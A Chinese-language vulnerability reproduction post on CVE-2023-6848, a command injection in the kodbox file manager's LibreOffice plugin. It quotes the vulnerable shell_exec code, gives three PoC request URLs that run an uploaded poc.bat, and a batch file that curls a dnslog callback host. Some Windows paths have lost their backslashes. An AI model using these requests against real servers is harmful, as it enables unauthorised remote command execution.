[漏洞复现]CVE-2023-6848 kodbox远程命令执行

admin 2023年12月17日11:33:49评论382 views字数 1997阅读6分39秒阅读模式
产品简介

kodbox 是一个网络文件管理器。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。您可以在基于 Linux、Windows 或 Mac 的平台上在线或本地运行 kodbox。唯一的要求是要有 PHP 5及以上。

开发语言:PHP开发厂商:杭州可道云网络有限公司项目地址:https://github.com/kalcaddle/kodbox

[漏洞复现]CVE-2023-6848 kodbox远程命令执行

空间测绘

漏洞描述

kalcaddle kodbox 中发现漏洞,最高版本为 1.48。它已被宣布为关键。受此漏洞影响的是文件plugins/officeViewer/controller/libreOffice/index.class.php的功能检查。对参数 soffice 的操纵会导致命令注入。
影响版本

kodbox version ≤ 1.47

漏洞分析

$bin参数可控,shell_exec()执行命令,漏洞代码如下:

private function checkBin($bin,$check){    $code = Cache::get($bin);    if ($code) return $code;    $result = shell_exec($bin.' --help');  // ' 2>&1'    $code = strstr($result,$check) ? true : false;    Cache::set($bin, $code);    return $code;}

getSoffice()调用checkBin(),在getSoffice()中$bin参数被两个双引号闭合,并且过滤了空格,导致这里执行的命令不能带参数(形如“curl xxx.xxx.xxx”),这里试过闭合双引号,但是没能成功,希望大佬指教。所以考虑上传bat文件,然后执行bat文件从而实现远程命令执行。

public function getSoffice(){        $check = 'LibreOffice';    $data = Action($this->pluginName)->_appConfig('lb');        $bin = isset($data['soffice']) ? $data['soffice'] : '';    $bin = '"'.trim(iconv_system($bin)).'"';  // win路径空格处理        $result = $this->checkBin($bin,$check);        return $result ? $bin : false;}

其他check()和index()均调用了getSoffice(),亦可是远程命令执行的入口。测试下面的poc均可实现RCE。

index.php?plugin/officeViewer/libreOffice/index/check&soffice=C:UsersAdministratorDesktoppoc.batindex.php?plugin/officeViewer/libreOffice/index/getsoffice&soffice=C:UsersAdministratorDesktoppoc.batindex.php?plugin/officeViewer/libreOffice/index/index&path=/&name=1.docx&ext=docx&soffice=C:UsersAdministratorDesktoppoc.bat

漏洞利用

利用条件:

<1>可以上传或写入可执行文件至服务器;

<2>知道可执行文件的相对/绝对路径。

1.搭建好环境,进入后台,创建poc.bat文件,文件内容如下:

curl b4r7k2.dnslog.cn

[漏洞复现]CVE-2023-6848 kodbox远程命令执行

poc.bat在服务器的位置如下:

C:softphpstudy_proWWWkodbox-1.47.02datafiles20231216_ef333f63poc.bat

[漏洞复现]CVE-2023-6848 kodbox远程命令执行

2.下面POC均可执行poc.bat文件。

index.php?plugin/officeViewer/libreOffice/index/check&soffice=C:UsersAdministratorDesktoppoc.batindex.php?plugin/officeViewer/libreOffice/index/getsoffice&soffice=C:UsersAdministratorDesktoppoc.batindex.php?plugin/officeViewer/libreOffice/index/index&path=/&name=1.docx&ext=docx&soffice=C:UsersAdministratorDesktoppoc.bat

[漏洞复现]CVE-2023-6848 kodbox远程命令执行

[漏洞复现]CVE-2023-6848 kodbox远程命令执行

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2023-6848

原文始发于微信公众号(不够安全):[漏洞复现]CVE-2023-6848 kodbox远程命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月17日11:33:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [漏洞复现]CVE-2023-6848 kodbox远程命令执行http://cn-sec.com/archives/2310258.html

发表评论

匿名网友 填写信息